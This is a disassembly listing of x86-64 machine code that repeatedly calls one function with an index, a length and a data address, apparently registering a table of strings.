0040f920	ba 04 00 00 00	MOV EDX,0x4
0040f925	bf 4c 01 00 00	MOV EDI,0x14c
0040f92a	4c 8d 15 f3 7e 01 00	LEA R10,[DAT_00427824]
0040f931	4c 89 d6	MOV RSI,R10
0040f934	e8 c1 df ff ff	CALL FUN_0040d8fa
0040f939	ba 04 00 00 00	MOV EDX,0x4
0040f93e	bf 4d 01 00 00	MOV EDI,0x14d
0040f943	4c 8d 0d ed 7e 01 00	LEA R9,[DAT_00427837]
0040f94a	4c 89 ce	MOV RSI,R9
0040f94d	e8 a8 df ff ff	CALL FUN_0040d8fa
0040f952	ba 04 00 00 00	MOV EDX,0x4
0040f957	bf 4e 01 00 00	MOV EDI,0x14e
0040f95c	4c 8d 05 bc 7e 01 00	LEA R8,[DAT_0042781f]
0040f963	4c 89 c6	MOV RSI,R8
0040f966	e8 8f df ff ff	CALL FUN_0040d8fa
0040f96b	ba 06 00 00 00	MOV EDX,0x6
0040f970	4c 89 fe	MOV RSI,R15
0040f973	bf 4f 01 00 00	MOV EDI,0x14f
0040f978	e8 7d df ff ff	CALL FUN_0040d8fa
0040f97d	ba 06 00 00 00	MOV EDX,0x6
0040f982	bf 50 01 00 00	MOV EDI,0x150
0040f987	48 8d 35 3b 82 01 00	LEA RSI,[DAT_00427bc9]
0040f98e	e8 67 df ff ff	CALL FUN_0040d8fa
0040f993	ba 06 00 00 00	MOV EDX,0x6
0040f998	bf 51 01 00 00	MOV EDI,0x151
0040f99d	48 8d 35 2c 82 01 00	LEA RSI,[DAT_00427bd0]
0040f9a4	e8 51 df ff ff	CALL FUN_0040d8fa
0040f9a9	ba 05 00 00 00	MOV EDX,0x5
0040f9ae	bf 52 01 00 00	MOV EDI,0x152
0040f9b3	48 8d 35 1d 82 01 00	LEA RSI,[DAT_00427bd7]
0040f9ba	e8 3b df ff ff	CALL FUN_0040d8fa
0040f9bf	ba 05 00 00 00	MOV EDX,0x5
0040f9c4	bf 53 01 00 00	MOV EDI,0x153
0040f9c9	48 8d 35 0d 82 01 00	LEA RSI,[DAT_00427bdd]
0040f9d0	e8 25 df ff ff	CALL FUN_0040d8fa
0040f9d5	ba 07 00 00 00	MOV EDX,0x7
0040f9da	bf 54 01 00 00	MOV EDI,0x154
0040f9df	48 8d 35 fd 81 01 00	LEA RSI,[DAT_00427be3]
0040f9e6	e8 0f df ff ff	CALL FUN_0040d8fa
0040f9eb	ba 05 00 00 00	MOV EDX,0x5
0040f9f0	bf 55 01 00 00	MOV EDI,0x155
0040f9f5	48 8d 35 ef 81 01 00	LEA RSI,[DAT_00427beb]
0040f9fc	e8 f9 de ff ff	CALL FUN_0040d8fa
0040fa01	ba 05 00 00 00	MOV EDX,0x5
0040fa06	4c 89 f6	MOV RSI,R14
0040fa09	bf 56 01 00 00	MOV EDI,0x156
0040fa0e	e8 e7 de ff ff	CALL FUN_0040d8fa
0040fa13	ba 04 00 00 00	MOV EDX,0x4
0040fa18	4c 89 ee	MOV RSI,R13
0040fa1b	bf 57 01 00 00	MOV EDI,0x157
0040fa20	e8 d5 de ff ff	CALL FUN_0040d8fa
0040fa25	ba 04 00 00 00	MOV EDX,0x4
0040fa2a	bf 58 01 00 00	MOV EDI,0x158
0040fa2f	48 8d 35 bb 81 01 00	LEA RSI,[DAT_00427bf1]
0040fa36	e8 bf de ff ff	CALL FUN_0040d8fa
0040fa3b	ba 03 00 00 00	MOV EDX,0x3
0040fa40	bf 59 01 00 00	MOV EDI,0x159
0040fa45	48 8d 35 aa 81 01 00	LEA RSI,[DAT_00427bf6]
0040fa4c	e8 a9 de ff ff	CALL FUN_0040d8fa
0040fa51	ba 0f 00 00 00	MOV EDX,0xf
0040fa56	bf 5a 01 00 00	MOV EDI,0x15a
0040fa5b	48 8d 35 98 81 01 00	LEA RSI,[DAT_00427bfa]
0040fa62	e8 93 de ff ff	CALL FUN_0040d8fa
0040fa67	ba 0c 00 00 00	MOV EDX,0xc
0040fa6c	bf 5b 01 00 00	MOV EDI,0x15b
0040fa71	48 8d 35 92 81 01 00	LEA RSI,[DAT_00427c0a]
0040fa78	e8 7d de ff ff	CALL FUN_0040d8fa
0040fa7d	ba 10 00 00 00	MOV EDX,0x10
0040fa82	bf 5c 01 00 00	MOV EDI,0x15c
0040fa87	48 8d 35 89 81 01 00	LEA RSI,[DAT_00427c17]
0040fa8e	e8 67 de ff ff	CALL FUN_0040d8fa
0040fa93	ba 0c 00 00 00	MOV EDX,0xc
0040fa98	bf 5d 01 00 00	MOV EDI,0x15d
0040fa9d	48 8d 35 84 81 01 00	LEA RSI,[DAT_00427c28]
0040faa4	e8 51 de ff ff	CALL FUN_0040d8fa
0040faa9	ba 05 00 00 00	MOV EDX,0x5
0040faae	bf 5e 01 00 00	MOV EDI,0x15e
0040fab3	48 8d 35 dd 7c 01 00	LEA RSI,[DAT_00427797]
0040faba	e8 3b de ff ff	CALL FUN_0040d8fa
0040fabf	ba 06 00 00 00	MOV EDX,0x6
0040fac4	bf 5f 01 00 00	MOV EDI,0x15f
0040fac9	48 8d 35 3e 77 01 00	LEA RSI,[DAT_0042720e]
0040fad0	e8 25 de ff ff	CALL FUN_0040d8fa
0040fad5	ba 0e 00 00 00	MOV EDX,0xe
0040fada	bf 60 01 00 00	MOV EDI,0x160
0040fadf	48 8d 35 4f 81 01 00	LEA RSI,[DAT_00427c35]
0040fae6	e8 0f de ff ff	CALL FUN_0040d8fa
0040faeb	ba 0f 00 00 00	MOV EDX,0xf
0040faf0	bf 61 01 00 00	MOV EDI,0x161
0040faf5	48 8d 35 48 81 01 00	LEA RSI,[DAT_00427c44]
0040fafc	e8 f9 dd ff ff	CALL FUN_0040d8fa
0040fb01	ba 04 00 00 00	MOV EDX,0x4
0040fb06	bf 62 01 00 00	MOV EDI,0x162
0040fb0b	48 8d 35 42 81 01 00	LEA RSI,[DAT_00427c54]
0040fb12	e8 e3 dd ff ff	CALL FUN_0040d8fa
0040fb17	ba 04 00 00 00	MOV EDX,0x4
0040fb1c	bf 63 01 00 00	MOV EDI,0x163
0040fb21	48 8d 35 4a 77 01 00	LEA RSI,[DAT_00427272]
0040fb28	e8 cd dd ff ff	CALL FUN_0040d8fa
0040fb2d	ba 09 00 00 00	MOV EDX,0x9
0040fb32	bf 64 01 00 00	MOV EDI,0x164
0040fb37	48 8d 35 1b 81 01 00	LEA RSI,[DAT_00427c59]
0040fb3e	e8 b7 dd ff ff	CALL FUN_0040d8fa
0040fb43	ba 09 00 00 00	MOV EDX,0x9
0040fb48	bf 65 01 00 00	MOV EDI,0x165
0040fb4d	48 8d 35 0f 81 01 00	LEA RSI,[DAT_00427c63]
0040fb54	e8 a1 dd ff ff	CALL FUN_0040d8fa
0040fb59	ba 12 00 00 00	MOV EDX,0x12
0040fb5e	bf 66 01 00 00	MOV EDI,0x166
0040fb63	48 8d 35 03 81 01 00	LEA RSI,[DAT_00427c6d]
0040fb6a	e8 8b dd ff ff	CALL FUN_0040d8fa
0040fb6f	ba 09 00 00 00	MOV EDX,0x9
0040fb74	bf 67 01 00 00	MOV EDI,0x167
0040fb79	48 8d 35 00 81 01 00	LEA RSI,[DAT_00427c80]
0040fb80	e8 75 dd ff ff	CALL FUN_0040d8fa
0040fb85	ba 06 00 00 00	MOV EDX,0x6
0040fb8a	bf 68 01 00 00	MOV EDI,0x168
0040fb8f	48 8d 35 f4 80 01 00	LEA RSI,[DAT_00427c8a]
0040fb96	e8 5f dd ff ff	CALL FUN_0040d8fa
0040fb9b	ba 06 00 00 00	MOV EDX,0x6
0040fba0	bf 69 01 00 00	MOV EDI,0x169
0040fba5	48 8d 35 e5 80 01 00	LEA RSI,[DAT_00427c91]
0040fbac	e8 49 dd ff ff	CALL FUN_0040d8fa
0040fbb1	ba 04 00 00 00	MOV EDX,0x4
0040fbb6	bf 6a 01 00 00	MOV EDI,0x16a
0040fbbb	48 8d 35 d6 80 01 00	LEA RSI,[DAT_00427c98]
0040fbc2	e8 33 dd ff ff	CALL FUN_0040d8fa
0040fbc7	ba 03 00 00 00	MOV EDX,0x3
0040fbcc	bf 6b 01 00 00	MOV EDI,0x16b
0040fbd1	48 8d 35 c5 80 01 00	LEA RSI,[DAT_00427c9d]
0040fbd8	e8 1d dd ff ff	CALL FUN_0040d8fa
0040fbdd	ba 06 00 00 00	MOV EDX,0x6
0040fbe2	bf 6c 01 00 00	MOV EDI,0x16c
0040fbe7	48 8d 35 b3 80 01 00	LEA RSI,[DAT_00427ca1]
0040fbee	e8 07 dd ff ff	CALL FUN_0040d8fa
0040fbf3	ba 05 00 00 00	MOV EDX,0x5
0040fbf8	bf 6d 01 00 00	MOV EDI,0x16d
0040fbfd	48 8d 35 b6 86 01 00	LEA RSI,[DAT_004282ba]
0040fc04	e8 f1 dc ff ff	CALL FUN_0040d8fa
0040fc09	ba 08 00 00 00	MOV EDX,0x8
0040fc0e	bf 6e 01 00 00	MOV EDI,0x16e
0040fc13	48 8d 35 8e 80 01 00	LEA RSI,[DAT_00427ca8]
0040fc1a	e8 db dc ff ff	CALL FUN_0040d8fa
0040fc1f	ba 05 00 00 00	MOV EDX,0x5
0040fc24	bf 6f 01 00 00	MOV EDI,0x16f
0040fc29	48 8d 35 90 86 01 00	LEA RSI,[DAT_004282c0]
0040fc30	e8 c5 dc ff ff	CALL FUN_0040d8fa
0040fc35	ba 06 00 00 00	MOV EDX,0x6
0040fc3a	bf 70 01 00 00	MOV EDI,0x170
0040fc3f	48 8d 35 6b 80 01 00	LEA RSI,[DAT_00427cb1]
0040fc46	e8 af dc ff ff	CALL FUN_0040d8fa
0040fc4b	ba 07 00 00 00	MOV EDX,0x7
0040fc50	bf 71 01 00 00	MOV EDI,0x171
0040fc55	48 8d 35 5c 80 01 00	LEA RSI,[DAT_00427cb8]
0040fc5c	e8 99 dc ff ff	CALL FUN_0040d8fa
0040fc61	ba 06 00 00 00	MOV EDX,0x6
0040fc66	bf 72 01 00 00	MOV EDI,0x172
0040fc6b	48 8d 35 4e 80 01 00	LEA RSI,[DAT_00427cc0]
0040fc72	e8 83 dc ff ff	CALL FUN_0040d8fa
0040fc77	ba 07 00 00 00	MOV EDX,0x7
0040fc7c	bf 73 01 00 00	MOV EDI,0x173
0040fc81	48 8d 35 3f 80 01 00	LEA RSI,[DAT_00427cc7]
0040fc88	e8 6d dc ff ff	CALL FUN_0040d8fa
0040fc8d	ba 07 00 00 00	MOV EDX,0x7
0040fc92	bf 74 01 00 00	MOV EDI,0x174
0040fc97	48 8d 35 31 80 01 00	LEA RSI,[DAT_00427ccf]
0040fc9e	e8 57 dc ff ff	CALL FUN_0040d8fa
0040fca3	ba 08 00 00 00	MOV EDX,0x8
0040fca8	bf 75 01 00 00	MOV EDI,0x175
0040fcad	48 8d 35 12 86 01 00	LEA RSI,[DAT_004282c6]
0040fcb4	e8 41 dc ff ff	CALL FUN_0040d8fa
0040fcb9	ba 07 00 00 00	MOV EDX,0x7
0040fcbe	bf 76 01 00 00	MOV EDI,0x176
0040fcc3	48 8d 35 0d 80 01 00	LEA RSI,[DAT_00427cd7]
0040fcca	e8 2b dc ff ff	CALL FUN_0040d8fa
0040fccf	ba 06 00 00 00	MOV EDX,0x6
0040fcd4	bf 77 01 00 00	MOV EDI,0x177
0040fcd9	48 8d 35 ff 7f 01 00	LEA RSI,[DAT_00427cdf]
0040fce0	e8 15 dc ff ff	CALL FUN_0040d8fa
0040fce5	ba 06 00 00 00	MOV EDX,0x6
0040fcea	bf 78 01 00 00	MOV EDI,0x178
0040fcef	48 8d 35 f0 7f 01 00	LEA RSI,[DAT_00427ce6]
0040fcf6	e8 ff db ff ff	CALL FUN_0040d8fa
0040fcfb	ba 0b 00 00 00	MOV EDX,0xb
0040fd00	bf 79 01 00 00	MOV EDI,0x179
0040fd05	48 8d 35 c3 85 01 00	LEA RSI,[DAT_004282cf]
0040fd0c	e8 e9 db ff ff	CALL FUN_0040d8fa
0040fd11	ba 0a 00 00 00	MOV EDX,0xa
0040fd16	bf 7a 01 00 00	MOV EDI,0x17a
0040fd1b	48 8d 35 cb 7f 01 00	LEA RSI,[DAT_00427ced]
0040fd22	e8 d3 db ff ff	CALL FUN_0040d8fa
0040fd27	ba 09 00 00 00	MOV EDX,0x9
0040fd2c	bf 7b 01 00 00	MOV EDI,0x17b
0040fd31	48 8d 35 c0 7f 01 00	LEA RSI,[DAT_00427cf8]
0040fd38	e8 bd db ff ff	CALL FUN_0040d8fa
0040fd3d	ba 0a 00 00 00	MOV EDX,0xa
0040fd42	bf 7c 01 00 00	MOV EDI,0x17c
0040fd47	48 8d 35 b4 7f 01 00	LEA RSI,[DAT_00427d02]
0040fd4e	e8 a7 db ff ff	CALL FUN_0040d8fa
0040fd53	ba 05 00 00 00	MOV EDX,0x5
0040fd58	bf 7d 01 00 00	MOV EDI,0x17d
0040fd5d	48 8d 35 77 85 01 00	LEA RSI,[DAT_004282db]
0040fd64	e8 91 db ff ff	CALL FUN_0040d8fa
0040fd69	ba 06 00 00 00	MOV EDX,0x6
0040fd6e	bf 7e 01 00 00	MOV EDI,0x17e
0040fd73	48 8d 35 93 7f 01 00	LEA RSI,[DAT_00427d0d]
0040fd7a	e8 7b db ff ff	CALL FUN_0040d8fa
0040fd7f	ba 04 00 00 00	MOV EDX,0x4
0040fd84	bf 7f 01 00 00	MOV EDI,0x17f
0040fd89	48 8d 35 84 7f 01 00	LEA RSI,[DAT_00427d14]
0040fd90	e8 65 db ff ff	CALL FUN_0040d8fa
0040fd95	ba 04 00 00 00	MOV EDX,0x4
0040fd9a	bf 80 01 00 00	MOV EDI,0x180
0040fd9f	48 8d 35 73 7f 01 00	LEA RSI,[DAT_00427d19]
0040fda6	e8 4f db ff ff	CALL FUN_0040d8fa
0040fdab	ba 05 00 00 00	MOV EDX,0x5
0040fdb0	4c 89 e6	MOV RSI,R12
0040fdb3	bf 81 01 00 00	MOV EDI,0x181
0040fdb8	e8 3d db ff ff	CALL FUN_0040d8fa
0040fdbd	ba 07 00 00 00	MOV EDX,0x7
0040fdc2	bf 82 01 00 00	MOV EDI,0x182
0040fdc7	48 8d 35 50 7f 01 00	LEA RSI,[DAT_00427d1e]
0040fdce	e8 27 db ff ff	CALL FUN_0040d8fa
0040fdd3	48 89 ee	MOV RSI,RBP
0040fdd6	ba 05 00 00 00	MOV EDX,0x5
0040fddb	bf 83 01 00 00	MOV EDI,0x183
0040fde0	e8 15 db ff ff	CALL FUN_0040d8fa
0040fde5	ba 10 00 00 00	MOV EDX,0x10
0040fdea	48 8d 35 35 7f 01 00	LEA RSI,[DAT_00427d26]
0040fdf1	bf 84 01 00 00	MOV EDI,0x184
0040fdf6	e8 ff da ff ff	CALL FUN_0040d8fa
0040fdfb	ba 0e 00 00 00	MOV EDX,0xe
0040fe00	48 8d 35 30 7f 01 00	LEA RSI,[DAT_00427d37]
0040fe07	bf 85 01 00 00	MOV EDI,0x185
0040fe0c	e8 e9 da ff ff	CALL FUN_0040d8fa
0040fe11	ba 0e 00 00 00	MOV EDX,0xe
0040fe16	48 8d 35 29 7f 01 00	LEA RSI,[DAT_00427d46]
0040fe1d	bf 86 01 00 00	MOV EDI,0x186
0040fe22	e8 d3 da ff ff	CALL FUN_0040d8fa
0040fe27	ba 14 00 00 00	MOV EDX,0x14
0040fe2c	48 8d 35 22 7f 01 00	LEA RSI,[DAT_00427d55]
0040fe33	bf 87 01 00 00	MOV EDI,0x187
0040fe38	e8 bd da ff ff	CALL FUN_0040d8fa
0040fe3d	ba 12 00 00 00	MOV EDX,0x12
0040fe42	48 8d 35 98 84 01 00	LEA RSI,[DAT_004282e1]
0040fe49	bf 88 01 00 00	MOV EDI,0x188
0040fe4e	e8 a7 da ff ff	CALL FUN_0040d8fa
0040fe53	ba 16 00 00 00	MOV EDX,0x16
0040fe58	48 8d 35 0b 7f 01 00	LEA RSI,[DAT_00427d6a]
0040fe5f	bf 89 01 00 00	MOV EDI,0x189
0040fe64	e8 91 da ff ff	CALL FUN_0040d8fa
0040fe69	ba 14 00 00 00	MOV EDX,0x14
0040fe6e	48 8d 35 0c 7f 01 00	LEA RSI,[DAT_00427d81]
0040fe75	bf 8a 01 00 00	MOV EDI,0x18a
0040fe7a	e8 7b da ff ff	CALL FUN_0040d8fa
0040fe7f	ba 1b 00 00 00	MOV EDX,0x1b
0040fe84	48 8d 35 0b 7f 01 00	LEA RSI,[DAT_00427d96]
0040fe8b	bf 8b 01 00 00	MOV EDI,0x18b
0040fe90	e8 65 da ff ff	CALL FUN_0040d8fa
0040fe95	ba 12 00 00 00	MOV EDX,0x12
0040fe9a	48 8d 35 53 84 01 00	LEA RSI,[DAT_004282f4]
0040fea1	bf 8c 01 00 00	MOV EDI,0x18c
0040fea6	e8 4f da ff ff	CALL FUN_0040d8fa
0040feab	ba 12 00 00 00	MOV EDX,0x12
0040feb0	48 8d 35 50 84 01 00	LEA RSI,[DAT_00428307]
0040feb7	bf 8d 01 00 00	MOV EDI,0x18d
0040febc	e8 39 da ff ff	CALL FUN_0040d8fa
0040fec1	ba 18 00 00 00	MOV EDX,0x18
0040fec6	48 8d 35 e5 7e 01 00	LEA RSI,[DAT_00427db2]
0040fecd	bf 8e 01 00 00	MOV EDI,0x18e
0040fed2	e8 23 da ff ff	CALL FUN_0040d8fa
0040fed7	ba 17 00 00 00	MOV EDX,0x17
0040fedc	48 8d 35 e8 7e 01 00	LEA RSI,[DAT_00427dcb]
0040fee3	bf 8f 01 00 00	MOV EDI,0x18f
0040fee8	e8 0d da ff ff	CALL FUN_0040d8fa
0040feed	ba 19 00 00 00	MOV EDX,0x19
0040fef2	48 8d 35 ea 7e 01 00	LEA RSI,[DAT_00427de3]
0040fef9	bf 90 01 00 00	MOV EDI,0x190
0040fefe	e8 f7 d9 ff ff	CALL FUN_0040d8fa
0040ff03	ba 1a 00 00 00	MOV EDX,0x1a
0040ff08	48 8d 35 ee 7e 01 00	LEA RSI,[DAT_00427dfd]
0040ff0f	bf 91 01 00 00	MOV EDI,0x191
0040ff14	e8 e1 d9 ff ff	CALL FUN_0040d8fa
0040ff19	ba 19 00 00 00	MOV EDX,0x19
0040ff1e	48 8d 35 f3 7e 01 00	LEA RSI,[DAT_00427e18]
0040ff25	bf 92 01 00 00	MOV EDI,0x192
0040ff2a	e8 cb d9 ff ff	CALL FUN_0040d8fa
0040ff2f	ba 1b 00 00 00	MOV EDX,0x1b
0040ff34	48 8d 35 f7 7e 01 00	LEA RSI,[DAT_00427e32]
0040ff3b	bf 93 01 00 00	MOV EDI,0x193
0040ff40	e8 b5 d9 ff ff	CALL FUN_0040d8fa
0040ff45	ba 09 00 00 00	MOV EDX,0x9
0040ff4a	48 8d 35 fd 7e 01 00	LEA RSI,[DAT_00427e4e]
0040ff51	bf 94 01 00 00	MOV EDI,0x194
0040ff56	e8 9f d9 ff ff	CALL FUN_0040d8fa
0040ff5b	ba 09 00 00 00	MOV EDX,0x9
0040ff60	48 8d 35 f1 7e 01 00	LEA RSI,[DAT_00427e58]
0040ff67	bf 95 01 00 00	MOV EDI,0x195
0040ff6c	e8 89 d9 ff ff	CALL FUN_0040d8fa
0040ff71	ba 0b 00 00 00	MOV EDX,0xb
0040ff76	48 8d 35 e5 7e 01 00	LEA RSI,[DAT_00427e62]
0040ff7d	bf 96 01 00 00	MOV EDI,0x196
0040ff82	e8 73 d9 ff ff	CALL FUN_0040d8fa
0040ff87	ba 04 00 00 00	MOV EDX,0x4
0040ff8c	48 8d 35 db 7e 01 00	LEA RSI,[DAT_00427e6e]
0040ff93	bf 97 01 00 00	MOV EDI,0x197
0040ff98	e8 5d d9 ff ff	CALL FUN_0040d8fa
0040ff9d	ba 07 00 00 00	MOV EDX,0x7
0040ffa2	48 8d 35 ca 7e 01 00	LEA RSI,[DAT_00427e73]
0040ffa9	bf 98 01 00 00	MOV EDI,0x198
0040ffae	e8 47 d9 ff ff	CALL FUN_0040d8fa
0040ffb3	ba 09 00 00 00	MOV EDX,0x9
0040ffb8	48 8d 35 5b 83 01 00	LEA RSI,[DAT_0042831a]
0040ffbf	bf 99 01 00 00	MOV EDI,0x199
0040ffc4	e8 31 d9 ff ff	CALL FUN_0040d8fa
0040ffc9	ba 09 00 00 00	MOV EDX,0x9
0040ffce	48 8d 35 a6 7e 01 00	LEA RSI,[DAT_00427e7b]
0040ffd5	bf 9a 01 00 00	MOV EDI,0x19a
0040ffda	e8 1b d9 ff ff	CALL FUN_0040d8fa
0040ffdf	ba 08 00 00 00	MOV EDX,0x8
0040ffe4	48 8d 35 0e 78 01 00	LEA RSI,[DAT_004277f9]
0040ffeb	bf 9b 01 00 00	MOV EDI,0x19b
0040fff0	e8 05 d9 ff ff	CALL FUN_0040d8fa
0040fff5	ba 08 00 00 00	MOV EDX,0x8
0040fffa	48 8d 35 84 7e 01 00	LEA RSI,[DAT_00427e85]
00410001	bf 9c 01 00 00	MOV EDI,0x19c
00410006	e8 ef d8 ff ff	CALL FUN_0040d8fa
0041000b	ba 04 00 00 00	MOV EDX,0x4
00410010	48 8d 35 77 7e 01 00	LEA RSI,[DAT_00427e8e]
00410017	bf 9d 01 00 00	MOV EDI,0x19d
0041001c	e8 d9 d8 ff ff	CALL FUN_0040d8fa
00410021	ba 07 00 00 00	MOV EDX,0x7
00410026	48 8d 35 af 77 01 00	LEA RSI,[DAT_004277dc]
0041002d	bf 9e 01 00 00	MOV EDI,0x19e
00410032	e8 c3 d8 ff ff	CALL FUN_0040d8fa
00410037	ba 05 00 00 00	MOV EDX,0x5
0041003c	48 8d 35 50 7e 01 00	LEA RSI,[DAT_00427e93]
00410043	bf 9f 01 00 00	MOV EDI,0x19f
00410048	e8 ad d8 ff ff	CALL FUN_0040d8fa
0041004d	ba 08 00 00 00	MOV EDX,0x8
00410052	48 8d 35 40 7e 01 00	LEA RSI,[DAT_00427e99]
00410059	bf a0 01 00 00	MOV EDI,0x1a0
0041005e	e8 97 d8 ff ff	CALL FUN_0040d8fa
00410063	ba 0b 00 00 00	MOV EDX,0xb
00410068	48 8d 35 33 7e 01 00	LEA RSI,[DAT_00427ea2]
0041006f	bf a1 01 00 00	MOV EDI,0x1a1
00410074	e8 81 d8 ff ff	CALL FUN_0040d8fa
00410079	ba 04 00 00 00	MOV EDX,0x4
0041007e	48 8d 35 29 7e 01 00	LEA RSI,[DAT_00427eae]
00410085	bf a2 01 00 00	MOV EDI,0x1a2
0041008a	e8 6b d8 ff ff	CALL FUN_0040d8fa
0041008f	ba 05 00 00 00	MOV EDX,0x5
00410094	48 8d 35 18 7e 01 00	LEA RSI,[DAT_00427eb3]
0041009b	bf a3 01 00 00	MOV EDI,0x1a3
004100a0	e8 55 d8 ff ff	CALL FUN_0040d8fa
004100a5	ba 07 00 00 00	MOV EDX,0x7
004100aa	48 8d 35 08 7e 01 00	LEA RSI,[DAT_00427eb9]
004100b1	bf a4 01 00 00	MOV EDI,0x1a4
004100b6	e8 3f d8 ff ff	CALL FUN_0040d8fa
004100bb	ba 06 00 00 00	MOV EDX,0x6
004100c0	48 8d 35 fa 7d 01 00	LEA RSI,[DAT_00427ec1]
004100c7	bf a5 01 00 00	MOV EDI,0x1a5
004100cc	e8 29 d8 ff ff	CALL FUN_0040d8fa
004100d1	ba 04 00 00 00	MOV EDX,0x4
004100d6	48 8d 35 eb 7d 01 00	LEA RSI,[DAT_00427ec8]
004100dd	bf a6 01 00 00	MOV EDI,0x1a6
004100e2	e8 13 d8 ff ff	CALL FUN_0040d8fa
004100e7	ba 09 00 00 00	MOV EDX,0x9
004100ec	48 8d 35 da 7d 01 00	LEA RSI,[DAT_00427ecd]
004100f3	bf a7 01 00 00	MOV EDI,0x1a7
004100f8	e8 fd d7 ff ff	CALL FUN_0040d8fa
004100fd	ba 07 00 00 00	MOV EDX,0x7
00410102	48 8d 35 ce 7d 01 00	LEA RSI,[DAT_00427ed7]
00410109	bf a8 01 00 00	MOV EDI,0x1a8
0041010e	e8 e7 d7 ff ff	CALL FUN_0040d8fa
00410113	ba 06 00 00 00	MOV EDX,0x6
00410118	48 8d 35 c0 7d 01 00	LEA RSI,[DAT_00427edf]
0041011f	bf a9 01 00 00	MOV EDI,0x1a9
00410124	e8 d1 d7 ff ff	CALL FUN_0040d8fa
00410129	ba 04 00 00 00	MOV EDX,0x4
0041012e	48 8d 35 b1 7d 01 00	LEA RSI,[DAT_00427ee6]
00410135	bf aa 01 00 00	MOV EDI,0x1aa
0041013a	e8 bb d7 ff ff	CALL FUN_0040d8fa
0041013f	ba 04 00 00 00	MOV EDX,0x4
00410144	48 8d 35 a0 7d 01 00	LEA RSI,[DAT_00427eeb]
0041014b	bf ab 01 00 00	MOV EDI,0x1ab
00410150	e8 a5 d7 ff ff	CALL FUN_0040d8fa
00410155	ba 04 00 00 00	MOV EDX,0x4
0041015a	48 8d 35 8f 7d 01 00	LEA RSI,[DAT_00427ef0]
00410161	bf ac 01 00 00	MOV EDI,0x1ac
00410166	e8 8f d7 ff ff	CALL FUN_0040d8fa
0041016b	ba 04 00 00 00	MOV EDX,0x4
00410170	48 8d 35 7e 7d 01 00	LEA RSI,[DAT_00427ef5]
00410177	bf ad 01 00 00	MOV EDI,0x1ad
0041017c	e8 79 d7 ff ff	CALL FUN_0040d8fa
00410181	ba 0c 00 00 00	MOV EDX,0xc
00410186	48 8d 35 6d 7d 01 00	LEA RSI,[DAT_00427efa]
0041018d	bf ae 01 00 00	MOV EDI,0x1ae
00410192	e8 63 d7 ff ff	CALL FUN_0040d8fa
00410197	ba 05 00 00 00	MOV EDX,0x5
0041019c	48 8d 35 81 81 01 00	LEA RSI,[DAT_00428324]
004101a3	bf af 01 00 00	MOV EDI,0x1af
004101a8	e8 4d d7 ff ff	CALL FUN_0040d8fa
004101ad	ba 0b 00 00 00	MOV EDX,0xb
004101b2	48 8d 35 4e 7d 01 00	LEA RSI,[DAT_00427f07]
004101b9	bf b0 01 00 00	MOV EDI,0x1b0
004101be	e8 37 d7 ff ff	CALL FUN_0040d8fa
004101c3	ba 14 00 00 00	MOV EDX,0x14
004101c8	48 8d 35 44 7d 01 00	LEA RSI,[DAT_00427f13]
004101cf	bf b1 01 00 00	MOV EDI,0x1b1
004101d4	e8 21 d7 ff ff	CALL FUN_0040d8fa
004101d9	ba 10 00 00 00	MOV EDX,0x10
004101de	48 8d 35 43 7d 01 00	LEA RSI,[DAT_00427f28]
004101e5	bf b2 01 00 00	MOV EDI,0x1b2
004101ea	e8 0b d7 ff ff	CALL FUN_0040d8fa
004101ef	ba 08 00 00 00	MOV EDX,0x8
004101f4	48 8d 35 3e 7d 01 00	LEA RSI,[DAT_00427f39]
004101fb	bf b3 01 00 00	MOV EDI,0x1b3
00410200	e8 f5 d6 ff ff	CALL FUN_0040d8fa
00410205	ba 05 00 00 00	MOV EDX,0x5
0041020a	48 8d 35 31 7d 01 00	LEA RSI,[DAT_00427f42]
00410211	bf b4 01 00 00	MOV EDI,0x1b4
00410216	e8 df d6 ff ff	CALL FUN_0040d8fa
0041021b	ba 04 00 00 00	MOV EDX,0x4
00410220	bf b5 01 00 00	MOV EDI,0x1b5
00410225	48 8d 35 32 70 01 00	LEA RSI,[DAT_0042725e]
0041022c	e8 c9 d6 ff ff	CALL FUN_0040d8fa
00410231	ba 09 00 00 00	MOV EDX,0x9
00410236	bf b6 01 00 00	MOV EDI,0x1b6
0041023b	48 8d 2d 06 7d 01 00	LEA RBP,[DAT_00427f48]
00410242	48 89 ee	MOV RSI,RBP
00410245	e8 b0 d6 ff ff	CALL FUN_0040d8fa
0041024a	ba 09 00 00 00	MOV EDX,0x9
0041024f	48 89 ee	MOV RSI,RBP
00410252	bf b7 01 00 00	MOV EDI,0x1b7
00410257	e8 9e d6 ff ff	CALL FUN_0040d8fa
0041025c	ba 05 00 00 00	MOV EDX,0x5
00410261	bf b8 01 00 00	MOV EDI,0x1b8
00410266	48 8d 35 e5 7c 01 00	LEA RSI,[DAT_00427f52]
0041026d	e8 88 d6 ff ff	CALL FUN_0040d8fa
00410272	ba 17 00 00 00	MOV EDX,0x17
00410277	bf b9 01 00 00	MOV EDI,0x1b9
0041027c	48 8d 35 d5 7c 01 00	LEA RSI,[DAT_00427f58]
00410283	e8 72 d6 ff ff	CALL FUN_0040d8fa
00410288	ba 0a 00 00 00	MOV EDX,0xa
0041028d	bf ba 01 00 00	MOV EDI,0x1ba
00410292	48 8d 35 d7 7c 01 00	LEA RSI,[DAT_00427f70]
00410299	e8 5c d6 ff ff	CALL FUN_0040d8fa
0041029e	ba 50 00 00 00	MOV EDX,0x50
004102a3	bf bb 01 00 00	MOV EDI,0x1bb
004102a8	48 8d 35 cc 7c 01 00	LEA RSI,[DAT_00427f7b]
004102af	e8 46 d6 ff ff	CALL FUN_0040d8fa
004102b4	ba 18 00 00 00	MOV EDX,0x18
004102b9	bf bc 01 00 00	MOV EDI,0x1bc
004102be	48 8d 35 07 7d 01 00	LEA RSI,[DAT_00427fcc]
004102c5	e8 30 d6 ff ff	CALL FUN_0040d8fa
004102ca	ba 14 00 00 00	MOV EDX,0x14
004102cf	bf bd 01 00 00	MOV EDI,0x1bd
004102d4	48 8d 35 4f 80 01 00	LEA RSI,[DAT_0042832a]
004102db	e8 1a d6 ff ff	CALL FUN_0040d8fa
004102e0	ba 31 00 00 00	MOV EDX,0x31
004102e5	bf be 01 00 00	MOV EDI,0x1be
004102ea	48 8d 35 4e 80 01 00	LEA RSI,[DAT_0042833f]
004102f1	e8 04 d6 ff ff	CALL FUN_0040d8fa
004102f6	ba 19 00 00 00	MOV EDX,0x19
004102fb	bf bf 01 00 00	MOV EDI,0x1bf
00410300	48 8d 35 de 7c 01 00	LEA RSI,[DAT_00427fe5]
00410307	e8 ee d5 ff ff	CALL FUN_0040d8fa
